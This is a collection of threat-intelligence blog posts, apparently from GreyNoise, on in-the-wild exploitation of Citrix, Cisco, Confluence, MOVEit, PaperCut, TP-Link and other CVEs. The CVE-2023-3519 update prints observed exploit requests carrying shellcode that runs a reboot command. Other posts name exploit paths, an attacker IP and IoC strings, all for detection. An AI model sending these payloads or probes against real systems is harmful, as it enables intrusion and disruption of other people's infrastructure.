Actionable intelligence on real-world threats as they unfold. Get insights into attacker behavior, infrastructure, exploitation of zero-days and n-days, temporal pattern, and geographic hotspots — all sourced from GreyNoise’s Global Observation Grid (GOG). Stay ahead of emerging threats, block malicious IPs, and understand what’s happening in the moment.
Subscribe to GreyNoise
Get the latest blog articles delivered right to your inbox.
GreyNoise has observed active exploitation attempts against CVE-2025-5777 (CitrixBleed 2), a memory overread vulnerability in Citrix NetScaler. Exploitation began on June 23 — nearly two weeks before a public proof-of-concept (PoC) was released on July 4.
We created a tag on July 7 to track this activity. Because GreyNoise retroactively associates pre-tag traffic with new tags, prior exploitation attempts are now visible in the GreyNoise Visualizer.
Key Observations
First observed activity: June 23, 2025
PoC released: July 4, 2025
GreyNoise tag published: July 7, 2025
CISA confirms activity with GreyNoise: July 9, 2025 (prior to KEV addition)
Early exploitation attempts came from malicious IPs geolocated in China. Rather than exploiting indiscriminately, these IPs targeted GreyNoise sensors configured to emulate Citrix NetScaler appliances, suggesting deliberate targeting.
CISA Confirmation
On July 9, shortly after we published the tag, CISA contacted GreyNoise to confirm exploitation activity. CVE-2025-5777 was subsequently added to the Known Exploited Vulnerabilities (KEV) catalog.
Recommended Actions
Defenders can dynamically block malicious IPs to reduce exposure and suppress alerts.
The above list will stay updated as new IPs are observed attempting to exploit CVE-2025-5777.
GreyNoise has developed an enhanced dynamic IP blocklist to help defenders take faster action on emerging threats. Click here to learn more about GreyNoise Block.
— — —
Stone is Head of Content at GreyNoise Intelligence, where he leads strategic content initiatives that illuminate the complexities of internet noise and threat intelligence. In past roles, he led partnered research initiatives with Google and the U.S. Department of Homeland Security. With a background in finance, technology, and engagement with the United Nations on global topics, Stone brings a multidimensional perspective to cybersecurity. He is also affiliated with the Council on Foreign Relations.
CVE-2023-29552 is a high-severity vulnerability discovered in the Service Location Protocol (SLP), a legacy Internet protocol. This vulnerability allows an unauthenticated, remote attacker to register arbitrary services, enabling them to launch a Denial-of-Service (DoS) attack via a reflection amplification attack. BitSight first alerted the world to this weakness back in May.
The potential harm from this vulnerability is significant.Successful exploitation could potentially allow an attacker to launch one of the most powerful DoS amplification attacks in history, with an amplification factor as high as 2,200 times. This means that an attacker could send a small amount of traffic to a vulnerable SLP instance, which would then respond with a much larger amount of traffic to the victim's server. This could overwhelm the server, causing it to become unresponsive and disrupting the services it provides.
BitSight has noted that vulnerability affects more than 2,000 global organizations and over 54,000 SLP instances accessible via the internet, including VMWare ESXi Hypervisor, Konica Minolta printers, Planex Routers, IBM Integrated Management Module (IMM), SMC IPMI, and 665 other product types. This wide impact means that a large number of systems and services could potentially be disrupted by an attack exploiting this vulnerability.
The potential harms from this vulnerability are not limited to service disruption. DoS attacks can also lead to financial losses, especially for organizations that rely on web-based transactions. For instance, an online retailer could lose sales if their website becomes unavailable due to a DoS attack; or, financial services firms may be unable to process customer orb2b transactions. Furthermore, the recovery from such an attack could require significant resources, further increasing the financial impact.
Given the severity and potential impacts of this vulnerability, it's crucial for organizations to take steps to mitigate it.This could include upgrading to a release line that is not impacted by the vulnerability, or implementing other appropriate security measures to safeguard their networks and servers.
For Your Consideration
Folks may remember the recent HTTP/2 Rapid Reset vulnerability announced by Cloudflare. It was a zero-day vulnerability that exploited a weakness in the HTTP/2 protocol to generate massive Distributed Denial of Service (DDoS) attacks. The vulnerability, CVE-2023-44487, takes advantage of the ability of HTTP/2 to allow for multiple distinct logical connections to be multiplexed over a single HTTP session, with the rapid reset attack consisting of multiple HTTP/2 connections with requests and resets in rapid succession.
While both the Rapid Reset vulnerability and this new SLP vulnerability can lead to large-scale DDoS attacks, they exploit different protocols and mechanisms. The HTTP/2 Rapid Reset vulnerability exploits a feature in the HTTP/2 protocol to generate massive DDoS attacks, while the SLP amplification attack vector leverages the SLP protocol to amplify the volume of DDoS attacks.
We're Here To Help
GreyNoise customers can use our hourly updated blocklists for the SLP tag (compatible with Palo Alto, Cisco, Fortinet, and other next-gen firewalls) to gain proactive protection from non-benign sources looking for potential system with SLP exposed.
Citrix's NetScaler ADC and NetScaler Gateway have, once more, been found to have multiple vulnerabilities, tracked as CVE-2023-4966 and CVE-2023-4967.
On October 23, 2023, GreyNoise Detection Engineers added tag coverage for CVE-2023-4966, which is an information disclosure vulnerability in NetScaler ADC and NetScaler Gateway. When configured as a gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or as an AAA virtual server, an unauthenticated attacker could exploit the device in order to hijack an existing authenticated session. Depending on the permissions of the account they have hijacked, this could allow the attacker to gain additional access within a target environment and collect other account credentials.
CVE-2023-4967 is a denial-of-service (DoS) vulnerability that can potentially enable DoS attacks on vulnerable devices.
Both CVEs were published on October 10, 2023, and the tag for CVE-2023-4966 joins 11 other Citrix-specific tags in the GreyNoise tag corpus.
The GreyNoise Storm⚡Watch webcast/podcast provided extensive coverage of this vulnerability in this week’s episode.
Widespread Attacks
As of this post’s publish time, GreyNoise has observed just under seventy IP addresses attempting to exploit this vulnerability:
Activity started on the 24th and shows no signs of stopping.
Mitigating Harm
Citrix has urged customers to install updated versions of the affected devices as soon as possible. The recommended versions to upgrade to are NetScaler ADC and NetScaler Gateway 14.1-8.50 and later, NetScaler ADC and NetScaler Gateway 13.1-49.15 and later releases of 13.1, NetScaler ADC and NetScaler Gateway 13.0-92.19 and later releases of 13.0, NetScaler ADC 13.1-FIPS 13.1-37.164 and later releases of 13.1-FIPS, NetScaler ADC 12.1-FIPS 12.1-55.300 and later releases of 12.1-FIPS, and NetScaler ADC 12.1-NDcPP 12.1-55.300 and later releases of 12.1-NDcPP.
Remote access technologies are prime targets for attackers, especially when proof-of-concept code becomes available. GreyNoise Detection Engineers work with research partners, and conducts bespoke vulnerability research to provide timely access to real-time intelligence that can help your organization buy time to patch, remove the noise of opportunistic attackers, and give you the opportunity to focus on fending off targeted attacks.
Cisco Talos has updated their advisory to include a new CVE, CVE-2023-20273, "that is exploited to deploy the implant" with a fix estimated to be released on October 22nd. The Cisco Security Advisory was also updated to include the new CVE, information about observed attacks, mitigation, and Snort rule IDs.
We have also updated our illustration (below) to include the new CVE.
Original Post
On October 16th, 2023, Cisco disclosed a critical software Web UI Privilege Escalation Vulnerability under the identifier CVE-2023-20198 with a CVSS base score of 10. Cisco notes that the vulnerability has been exploited in the wild. The vulnerability allows an unauthenticated attacker to create an account with “privilege level 15 access” (full access to all commands). There is no patch for the privilege escalation vulnerability at the time of writing.
Initial Disclosure
In coordination with this disclosure, Cisco Talos published a threat advisory noting that the privilege escalation vulnerability CVE-2023-20198 is leveraged for initial access. Following this activity, an implant is delivered through a “yet undetermined mechanism” for which no patch is available.
“Leveraging existing detections, we observed the actor exploiting CVE-2021-1435, for which Cisco provided a patch in 2021, to install the implant after gaining access to the device. We have also seen devices fully patched against CVE-2021-1435 getting the implant successfully installed through an as-of-yet undetermined mechanism.”
Later in the threat advisory, the Snort intrusion detection system rule ID 3:50118:2 is called out as a way to address “this” threat.
The Snort rule 3:50118:2 "SERVER-WEBAPP Cisco IOS XE Web UI command injection attempt” does not include any mention that it detects CVE-2021-1435. In the rule’s references section, CVE-2019-12650 and CVE-2019-1862 — both command injection vulnerabilities — are mentioned via the following links:
If Snort rule 3:50118:2 detects the command injection vulnerabilities (CVE-2019-1862 / CVE-2019-12650 / CVE-2021-1435?) and the malicious implant in this recent string of attacks is installed through a “yet undetermined mechanism” on systems that are fully patched against CVE-2021-1435, then the vulnerability being leveraged to install the implant is not CVE-2021-1435. Additionally, a patch is available for CVE-2021-1435 whereas a patch is not available for the mechanism used to install the implant.
Surveying The Carnage
Further research by VulnCheck has demonstrated that systems affected by the malicious implants can be coerced to disclose their 18-character hexadecimal unique implant identifier.
Cisco buried the lede by not mentioning thousands of internet-facing IOS XE systems have been implanted. VulnCheck scanned internet-facing Cisco IOS XE web interfaces and found thousands of implanted hosts. This is a bad situation, as privileged access on the IOS XE likely allows attackers to monitor network traffic, pivot into protected networks, and perform any number of man-in-the-middle attacks.
Censys also configured a scan profile and published their results in a blog post. It’s not a pretty picture. Over 40K Cisco IOS devices had their web admin interfaces exposed to the internet and fell victim to the latest round of implant attacks.
More distressing is that some of these devices are being used to launch further attacks. Researchers from both VulnCheck and Censys were kind enough to run their results through the GreyNoise Analyzer, which enables bulk triage of IP lists. Over 120 devices have been put into malicious service by attackers and live in diverse autonomous systems:
Organization
Count
Akamai Technologies
23
Google APIs and Services
23
Verizon Business
11
UNINET
4
NTT Communications Corporation
3
Cogent Communications
2
Mobile Telecommunications Company
2
Reliance Jio Infocomm Limited
2
Suburban Broadband Ltd
2
UNINET-TH
2
"ElCat" Ltd.
1
aamra networks limited,
1
AMERICATEL PERU S.A.
1
Bangladesh Telecommunications Company Limited (BTCL), Nationwide PSTN Operator and Data and Internet Service Provider.
1
Bell Canada
1
Bhutan Telecom Ltd
1
CHINANET-BACKBONE
1
Cloud 9 Ltd.
1
Comcast Cable Communications, LLC
1
COMPAÑIA PARAGUAYA DE COMUNICACIONES S.A. (COPACO S.A.)
1
CRISP S.A.
1
Data Communication Business Group
1
Emirates Integrated Telecommunications Company PJSC
1
Euroweb Romania S.R.L.
1
Exetel Pty Ltd
1
Frontier Communications of America, Inc.
1
GTD PERÚ S.A
1
HBA TELECOM LTDA - ME
1
INDOSAT Internet Network Provider
1
INSYS LLC
1
IP TELECOM, SERVICOS DE TELECOMUNICACOES S.A.
1
Jamii Telecommunications Limited
1
JSC Avantel
1
JSC Comcor
1
Kenyan Post & Telecommunications Company / Telkom Kenya Ltd
1
Level 3 Parent, LLC
1
Liquid Telecommunications Ltd
1
M247 UK Ltd
1
Mobile Telecommunication Company Saudi Arabia Joint-Stock company
1
MTN COTE D'IVOIRE S.A
1
NOS COMUNICACOES, S.A.
1
Núcleo S.A.
1
Omani Qatari Telecommunication Company SAOC
1
ONE ALBANIA SH.A.
1
Philippine Long Distance Telephone Company
1
PJSC Rostelecom
1
POCOS B.V.
1
PT. Power Telecom Indonesia
1
Saudi Telecom Company JSC
1
Simbanet (T) Limited
1
SONATEL-AS Autonomous System
1
Superonline Iletisim Hizmetleri A.S.
1
Telecel S.A.
1
Telmex Colombia S.A.
1
The Communication Authoity of Thailand, CAT
1
TIEN PHAT TECHNOLOGY CORPORATION
1
Univision LLC
1
VNPT Corp
1
Vodafone Romania S.A.
1
Unsurprisingly, we’re also seeing a large uptick in scanning from malicious, benign, and “unknown” sources in our Cisco IOS XE CVE-2023-20198 Scanner tag:
Im-persistent Harms
A key aspect of the current, underlying implant is that it does not survive a reboot. That means attackers will need to reinfect devices in their control if power is cycled or if they perform regular maintenance that requires a reboot… unless they have created a persistent access method prior to the reboot such as a newly created account. Given that these Cisco appliances are (small) business-class devices, they are more likely to have static IP addresses, meaning that attackers won’t have to re-scan the entire internet nearly as often as they might otherwise to identify and re-infect them.
The Enemy Within
Censys, VulnCheck, and GreyNoise can only report the view from the outside. However, similar Cisco IOS devices are also used internally in many organizations and are equally susceptible to this vulnerability. After gaining initial access on a low-privileged endpoint, attackers will no doubt be probing for vulnerable Cisco devices internally, where it is even more likely the web admin UI will be enabled. Having such privileged access to an internal router/network may be even more valuable/desirable than internet-facing ones.
Staying Safe
Researchers from GreyNoise Labs strongly encourage organizations to disable the HTTP Server feature on all internet-facing systems until a patch is available (and consider leaving it disabled permanently). This can be done by following the instructions provided in the Cisco security advisory.
Given the transient nature of the implant, they also suggest conducting an incident response exercise to determine if any internet-facing (or internal) Cisco device was demonstrating anomalous behavior.
Remember, you can:
use our Analyzer for IP triage
block non-benign scanners — through our dynamic, timely block lists — searching for signs of implants
On October 11th, 2023, a heap-based buffer overflow in curl was disclosed under the identifier CVE-2023-38545. The vulnerability affects libcurl 7.69.0 to and including 8.3.0. Vulnerable versions of libcurl may be embedded in existing applications. However, to reach the vulnerable code path, the application must be configured to utilize one of the SOCKS5 proxy modes and attempt to resolve a hostname with extraneous length.
In a controlled environment, reproducing the bug itself is trivial. Pictured below is a vulnerable version of curl requesting a hostname consisting of 10,000 A’s through a configured SOCKS5 proxy, resulting in memory corruption leading to a Segmentation fault.
In practice, the scope of the vulnerability is more nuanced. As noted above, curl must be configured to utilize a SOCK5 proxy to reach the vulnerable code path. If you run an application utilizing a vulnerable version of curl/libcurl that makes HTTP requests and an attacker can set the “http_proxy” environment variable, curl may automatically inherit that configuration, allowing the vulnerable code path to be reached (pictured below). Of course, this assumes that the attacker already has some level of privileged access to set these environment variables. At such a point that an attacker already has privileged access, leveraging this curl vulnerability is certainly not the easiest path to remote code execution.
Through the lens of “exploit-ability” in practical deployments of curl, few could be remotely triggered. After significant research, the GreyNoise Labs team was able to identify one such configuration scenario that we would be able to track and have created a tag for detecting it. In the unlikely event that more vulnerable-in-practice applications come to light in the coming days, the tag will be updated to capture the associated traffic.
A critical zero-day vulnerability has recently been discovered in the Confluence Data Center and Server.
The vulnerability, known as CVE-2023-22515 and scored a CVSS 10 out of 10, is a privilege escalation vulnerability that allows external attackers to exploit the system and create administrator accounts that can be used to access Confluence instances.
Atlassian, the company that produces Confluence, rates this vulnerability as 'critical' and has released patches for it. On-premise instances of Confluence on the public internet are at risk as this vulnerability is exploitable anonymously. Atlassian has stated that cloud-hosted versions of Confluence are not impacted, but it is unclear if they were vulnerable before the patch. Atlassian also has published an FAQ for this vulnerability.
We recommend immediately upgrading to the latest patched version, especially if you use an exposed or internet-facing Confluence instance. Since exploitation was observed before the advisory and patch were issued, organizations should audit user accounts and signs of compromise. As a standard practice, you should also restrict network access to any Confluence instance.
GreyNoise has published a tag monitoring for CVE-2023-22515 exploitation attempts.
If you’re curious about viewing scanning activity related to the “/setup/setupadministrator.action” web path, you can view that here; and if you’re curious about IPs that are searching for any ”setup*.action” web paths, you can view that here.
(See below for the most recent update: 2023-08-03)
Citrix recently disclosed a single critical remote code execution (RCE) vulnerability, CVE-2023-3519, affecting NetScaler ADC and NetScaler Gateway (now known as Citrix ADC and Citrix Gateway. This vulnerability has a CVSS score of 9.8, making it a high-risk issue.
Over the past several days, numerous organizations have contributed their pieces of the puzzle, both publicly and privately. While the most recent Citrix Security Advisory identifies CVE-2023-3519 as the only vulnerability resulting in unauthenticated remote code execution, there are at least two vulnerabilities that were patched during the most recent version upgrade.
Through the analysis by Rapid 7 and AssetNote a memory corruption vulnerability was discovered in the ns_aaa_saml_parse_authn_request function that handles Security Assertion Markup Language (SAML), which can be reached through HTTP POST requests to “/saml/login”. This vulnerability has been demonstrated to corrupt memory and cause program crashes, but it is unknown whether it can be leveraged for remote code execution at this time.
Through the analysis by Bishop Fox’s Capabilities Development team together with GreyNoise a memory corruption vulnerability was identified in the ns_aaa_gwtest_get_event_and_target_names function. This function can be reached through HTTP GET requests to “/gwtest/formssso”. This vulnerability was demonstrated as capable of being leveraged for stack corruption, leading to remote code execution; and, was further corroborated by AssetNote’s Part 2 Analysis.
Through analysis from Mandiant some indications of compromise (IoCs) and post-exploitation activity are now known. As part of their provided IoCs they shared that an HTTP POST request was used in initial exploitation as well as HTTP payloads containing “pwd;pwd;pwd;pwd;pwd;” which may be useful for writing detection signatures.
2023-08-03 Update
On July 28th GreyNoise began observing activity — https://viz.greynoise.io/tag/citrix-adc-netscaler-cve-2023-3519-rce-attempt?days=30 — for CVE-2023-3519 wherein the attacker was attempting to leverage the vulnerability for memory corruption. An initial analysis of the observed payloads indicates that the attacker initially sends a payload containing 262 `A`'s which would result in a crash of the Citrix Netscaler `nsppe` program. They follow up with two variants using URL Encoded values and appear to be attempting to remotely execute the command `/bin/sh -c reboot` which would result in a full reboot in the system. However, it appears that the attacker may not be aware of the CPU endianness of vulnerable systems. The payloads they are attempting to send would result in memory corruption, but would not result in remote code execution as they expected. This would result in the `nsppe` program crashing.
The observed payloads are provided below for completeness.
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: :2375
Accept: */*
User-Agent: curl/7.29.0
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%F0%C1%FF%FF%FF%7F%00%00CCCCCCCCDDDDDDDD%99Rhn%2Fshh%2F%2Fbih%20-c%20h%22rebhoot%22%89%E3QRSSj%3BX%CD%80 HTTP/1.1
Host: :2375
Accept: */*
User-Agent: curl/7.29.0
GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%F0%C1%FF%FF%FF%7F%00%00CCCCCCCCDDDDDDDD%99Rhn%2Fshh%2F%2Fbih%20-c%20h%22rebhoot%22%89%E3QRSSj%3BX%CD%80 HTTP/1.1
Host: :2375
Accept: */*
User-Agent: curl/7.29.0
GreyNoise observed a significant spike in attacker activity the day CISA added CVE-2023-24489 to their Known Exploited Vulnerabilities Catalog:
Citrix ShareFile, a popular cloud-based file-sharing application, has recently been found to have a critical vulnerability, CVE-2023-24489, which allows unauthenticated arbitrary file upload and remote code execution (RCE). In this blog post, we will discuss the details of this vulnerability, how attackers can exploit it, and how you can protect your organization from potential attacks.
GreyNoise now has a tag for CVE-2023-24489, allowing us to track exploit activity related to this vulnerability. If you use Citrix ShareFile, make sure to apply the latest security updates as soon as possible to patch this critical RCE flaw.
What is CVE-2023-24489?
CVE-2023-24489 is a cryptographic bug in Citrix ShareFile’s Storage Zones Controller, a .NET web application running under IIS. This vulnerability allows unauthenticated attackers to upload arbitrary files, leading to remote code execution. The vulnerability has been assigned a CVSS score of 9.8, indicating its critical severity.
How are attackers exploiting CVE-2023-24489?
Attackers can exploit this vulnerability by taking advantage of errors in ShareFile’s handling of cryptographic operations. The application uses AES encryption with CBC mode and PKCS7 padding but does not correctly validate decrypted data. This oversight allows attackers to generate valid padding and execute their attack, leading to unauthenticated arbitrary file upload and remote code execution.
Citrix has released a security update addressing the ShareFile vulnerability. Users are advised to apply the update to protect their systems from potential attacks. The fixed version of the customer-managed ShareFile storage zones controller is ShareFile storage zones controller 5.11.24 and later versions.
Leverage GreyNoise’s hourly updated data on scanning and exploit activities to stay ahead of opportunistic attackers. Our threat intelligence platform allows you to identify noise, reduce false positives, and focus on genuine threats. Sign up for GreyNoise Intelligence today and gain the edge in protecting your systems against vulnerabilities like CVE-2023-24489.
CVE-2023-29298 is an Improper Access Control vulnerability affecting Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier), and 2023.0.0.330468 (and earlier). This vulnerability could result in a security feature bypass, allowing an attacker to access the administration CFM and CFC endpoints without user interaction. The vulnerability has a CVSS 3.x base score of 7.5, indicating high severity.
CVE-2023-29300 is a Deserialization of Untrusted Data vulnerability impacting Adobe ColdFusion versions 2018u16 (and earlier), 2021u6 (and earlier), and 2023.0.0.330468 (and earlier). This vulnerability could result in arbitrary code execution without user interaction. The vulnerability has a CVSS 3.x base score of 9.8, indicating critical severity.
Citrix ADC/NetScaler Vulnerability
CVE-2023-3519 is an unauthenticated remote code execution (RCE) vulnerability impacting several versions of Citrix ADC and Citrix Gateway. This vulnerability allows a malicious actor to execute arbitrary code on affected appliances. It may also serve as an initial access vector for ransomware and other types of malicious campaigns. GreyNoise would like to thank the Capability Development team at Bishop Fox for collaborating with us to track this emerging threat. They have an excellent, detailed write-up for folks interested in more details.
CISA's Known Exploited Vulnerabilities Catalog
All three vulnerabilities are listed in CISA's Known Exploited Vulnerabilities Catalog, meaning they have been observed being exploited in the wild and pose significant risks to organizations. Organizations should prioritize remediation efforts for these vulnerabilities to reduce the likelihood of compromise by known threat actors.
Enhance Security with GreyNoise's Threat Intelligence Data
Organizations are strongly encouraged to use GreyNoise’s hourly updated threat intelligence data to block IP addresses that are seen exploiting these vulnerabilities. By leveraging GreyNoise's tags and alerts, organizations can enhance their security posture and protect their systems from potential exploitation attempts while allowing their operations teams time to apply patches or mitigations.
On June 7, 2023 VMWare released an advisory for CVE-2023-20887, a command injection vulnerability in VMware Aria Operations for Networks (formerly vRealize Cloud Mangememt) with a critical severity score (CVSS) of 9.8. The proof of concept for this exploit was released June 13th, 2023 by SinSinology.
Primary takeaway is:
“VMWare Aria Operations Networks is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user.” – SinSinology
At the time of writing we have observed attempted mass-scanning activity utilizing the Proof-Of-Concept code mentioned above in an attempt to launch a reverse shell which connects back to an attacker controlled server in order to receive further commands. Continual monitoring of activity related to this vulnerability can be tracked via the relevant GreyNoise tag below.
GreyNoise recommends reviewing systems for any indicators of unauthorized access that may have occurred within the past 90 days.
On May 31st, 2023 Progress issued a security notice to users of MOVEit Transfer regarding a vulnerability that allows for escalated privileges and potential unauthorized access to the environment. CVE-2023-34362 was assigned to this vulnerability on June 2, 2023. MOVEIT transfer tag can be viewed here.
Progress’ security notice is advising users to review their system for unauthorized access for “at least the past 30 days”, however, GreyNoise has observed scanning activity for the login page of MOVEit Transfer located at /human.aspx as early as March 3rd, 2023. While we have not observed activity directly related to exploitation, all of the 5 IPs we have observed attempting to discover the location of MOVEit installations were marked as “Malicious” by GreyNoise for prior activities.
Based on the scanning activity we have observed, it is our recommendation that users of MOVEit Transfer should extend the time window for their review of potentially malicious activity to at least 90 days.
The primary artifact, observed through publicly available information, is the presence of a webshell named human2.aspx. This is a post-exploitation file artifact that is written to the filesystem by a malicious actor allowing them to execute arbitrary commands.
GreyNoise is observing scanning activity looking to identify the presence of the human2.aspx webshell dropped as part of the post-exploitation activity.
While the specific details of the initial exploitation vector are largely unknown at this time, we would like to provide the following items and details to our customers and community:
Several cybersecurity vendors are covering the subject including Rapid7 and TrustedSec
Rapid7 is indicating the initial vector may be a SQL injection vulnerability leading to remote code execution (SQLi-to-RCE)
Progress MOVEit Transfer is deployed with a Microsoft SQL (MSSQL) or My SQL (MYSQL) backing database
The login page of Progress MOVEit Transfer is located at /human.aspx
Common paths to achieve remote code execution through SQL injection include the usage of the following T-SQL commands:
On Monday, May 1, 2023, CISA added CVE-2021-45046, CVE-2023-21839, and CVE-2023-1389 to the Known Exploited Vulnerabilities (KEV) list. For all three CVEs, GreyNoise users had visibility into which IPs were attempting mass exploitation prior to their addition to the KEV list. GreyNoise tags allow organizations to monitor and prioritize the handling of alerts regarding benign and, in this case, malicious IPs.
Apache Log4j2 contains a deserialization of untrusted data vulnerability due to the incomplete fix of CVE-2021-44228, where the Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.
December 9, 2021
May 1, 2023
CVE-2023-21839
Oracle WebLogic Server contains an unspecified vulnerability that allows an unauthenticated attacker with network access via T3, IIOP, to compromise Oracle WebLogic Server.
March 6, 2023
May 1, 2023
CVE-2023-1389
TP-Link Archer AX-21 contains a command injection vulnerability that allows for remote code execution.
April 25, 2023
May 1, 2023
Bonus Update:
On Thursday, April 27, 2023, GreyNoise released a tag for the critically scored CVE-2023-21554, QueueJumper, a Microsoft message queuing remote code execution vulnerability.
As of this publication, we have not observed mass exploitation attempts, but have observed >600 IPs that are attempting to discover Internet-facing Microsoft Windows devices that respond over Microsoft Message Queuing (MSMQ) binary protocol.
Check Point Research is slated to reveal full technical details later in the day on Friday, April 28, 2023.
MICROSOFT MESSAGE QUEUING (MSMQ) QUEUEJUMPER RCE ATTEMPT | CVE-2023-21554
MICROSOFT MESSAGE QUEUING (MSMQ) CRAWLER | CVES: No associated CVEs
MICROSOFT MESSAGE QUEUING (MSMQ) HTTP CRAWLER | CVES: No associated CVEs
Check Point Research discovered three vulnerabilities in Microsoft Message Queuing (MSMQ) service, patched in April's Patch Tuesday update. The most severe, QueueJumper (CVE-2023-21554), is a critical vulnerability allowing unauthenticated remote code execution. The other two vulnerabilities involve unauthenticated remote DoS attacks:
CVE-2023-21769 — unauthenticated Remote Application Level DoS (service crash)
CVE-2023-28302 — unauthenticated Remote Kernel Level DoS (Windows BSOD)
MSMQ, though considered a “legacy” service, is still available on all Windows operating systems.
According to Check Point researchers, over 360,000 IPs have the 1801/tcp port open, running the MSMQ service. The service may be enabled without user knowledge when installing certain software, such as Microsoft Exchange Server. Exploiting MSMQ vulnerabilities could allow attackers to take over servers. It's crucial for administrators to check their servers and install Microsoft's official patch. If unable to apply the patch, blocking inbound connections for 1801/tcp from untrusted sources can serve as a workaround.
GreyNoise researchers have two activity (vs exploitation attempt) tags that detect when someone is scanning to find exposed instances of the MSMQ service:
When we combine these tags, we presently see (at the time of publishing this post) just over 500 unique IP addresses — all from sources we’ve qualified as benign(👋🏼 Censys and Shadowserver!). The most prolific scanning is happening on the non-HTTP endpoint.
GreyNoise strongly recommends that organizations use our blocklists to shut down any identified malicious IPs with extreme prejudice before they have a chance to cause harm.
Our researchers are also hard at work digging into the details of each of the three weaknesses to craft specific exploitation detections which will, by default, be coming from malicious sources.
GreyNoise's detection capabilities for inventory scans of MSMQ protocols provide a reliable and essential tool in identifying and blocking malicious IPs targeting these vulnerabilities. With the accuracy of GreyNoise tags, security professionals can trust the system to highlight potential threats, allowing them to focus on other critical aspects of their organization's security. These IP Blocklists are available to all GreyNoise users now.*
*You must be signed in to access Blocklists. Create an account today.
On Friday, April 21, 2023, CISA added CVE-2023-27350 (a critical unauthenticated remote code execution vulnerability) impacting PaperCut MF and PaperCut NG to the Known Exploited Vulnerabilities (KEV) list. PaperCut MF and PaperCut NG are both enterprise printer management software.
Originally ZDI-23-233, CVE-2023-27350 (CVSS 9.8) impacts both application servers and site servers for PaperCut MF and NG version 8.0 or later, according to PaperCut, and have been fixed in PaperCut MF and PaperCut NG versions 20.1.7, 21.2.11 and 22.0.9 and later.
The inclusion of this vulnerability on the KEV list implies that exploitation has been confirmed in the wild. Additionally, the PaperCut advisory also points out reports of exploitation dating back to April 13, 2023, 15:29 UTC.
GreyNoise has published two tags related to this PaperCut vulnerability:
PaperCut RCE Attempt: IP addresses with this tag have been observedattempting to exploit CVE-2023-27350, an authentication bypass vulnerability in PaperCut MF/NG that could result in remote code execution.
PaperCut Authentication Bypass Check: IP addresses with this tag have been observed checking for the existence of CVE-2023-27350, an authentication bypass vulnerability in PaperCut MF/NG.
At the time of publication, GreyNoise has not observed mass exploitation for this vulnerability but has observed two IPs mass scanning for the vulnerability; this could be for a few reasons. It could be that exploitation is happening in a more targeted fashion or simply because scanning for this vulnerability isn’t technically necessary as a specific Google search will return a few thousand hits which attackers can use to focus exploitation attempts on.
GreyNoise recommends that organizations that use PaperCut follow the vendor's guidance to upgrade and review systems for signs of compromise. (This information is included in PaperCut’s advisory).
Today, in collaboration with our partner Trinity Cyber, GreyNoise has a new tag for scan traffic related to CVE-2023-1389, a pre-auth command injection weakness in TP-Link Archer routers.
TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.
The following is a sample of traffic related to these exploit attempts.
There has not been an observed, successful injection detected to-date, so we have published a “scan/crawler” tag — TP-Link Archer AX21 Command Injection Vulnerability Scan — to help organizations identify this activity and will be working closely with Trinity Cyber and other partners to identify successful exploit attempts to help identify successful malicious mass exploitation attempts.
Tenable initially identified this weakness, and has confirmed that successful exploitation is only likely across WAN interfaces under rare conditions. The Zero Day Initiative (ZDI) has also detected exploit activity and has suggested that their telemetry indicates that the Mirai botnet has updated its arsenal to include this new exploit. They further indicate that exploitation across the WAN interface will likely be difficult, but not impossible
Organizations should work to patch any known, official deployments of these routers and advise their remote workforce to ensure they apply the appropriate vendor updates as soon as possible if they have them installed at their remote location(s).
Our engineering team is performing a retroactive tagging exercise to determine if we have seen mass exploitation attempts within the previous ninety days. However, Trinity Cyber has shared that they have observed 193.32.162.189 actively engaged in current exploitation attempts.
GreyNoise suggests that, where possible, organizations block this IP address and use our hourly-updated block lists to help keep their infrastructure safe from mass exploitation attempts.
We will provide an update once we have a tag for a confirmed, successful malicious activity for this vulnerability.
OpenAI ChatGPT has recently released a new feature that allows for plugins to fetch live data from various providers. This feature has been designed with "safety as a core design principle", which means that the OpenAI team has taken steps to ensure that the data being accessed is secure and private.
However, there are some concerns about the security of the example code provided by OpenAI for developers who want to integrate their plugins with the new feature. Specifically, the code examples utilize a docker image for MinIO RELEASE.2022-03-17. This version of MinIO is vulnerable to CVE-2023-28432, which is a security vulnerability resulting in information disclosure of all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD.
While we have no information suggesting that any specific actor is targeting ChatGPT example instances, we have observed this vulnerability being actively exploited in the wild. When attackers attempt mass-identification and mass-exploitation of vulnerable services, “everything” is in scope, including any deployed ChatGPT plugins that utilize this outdated version of MinIO.
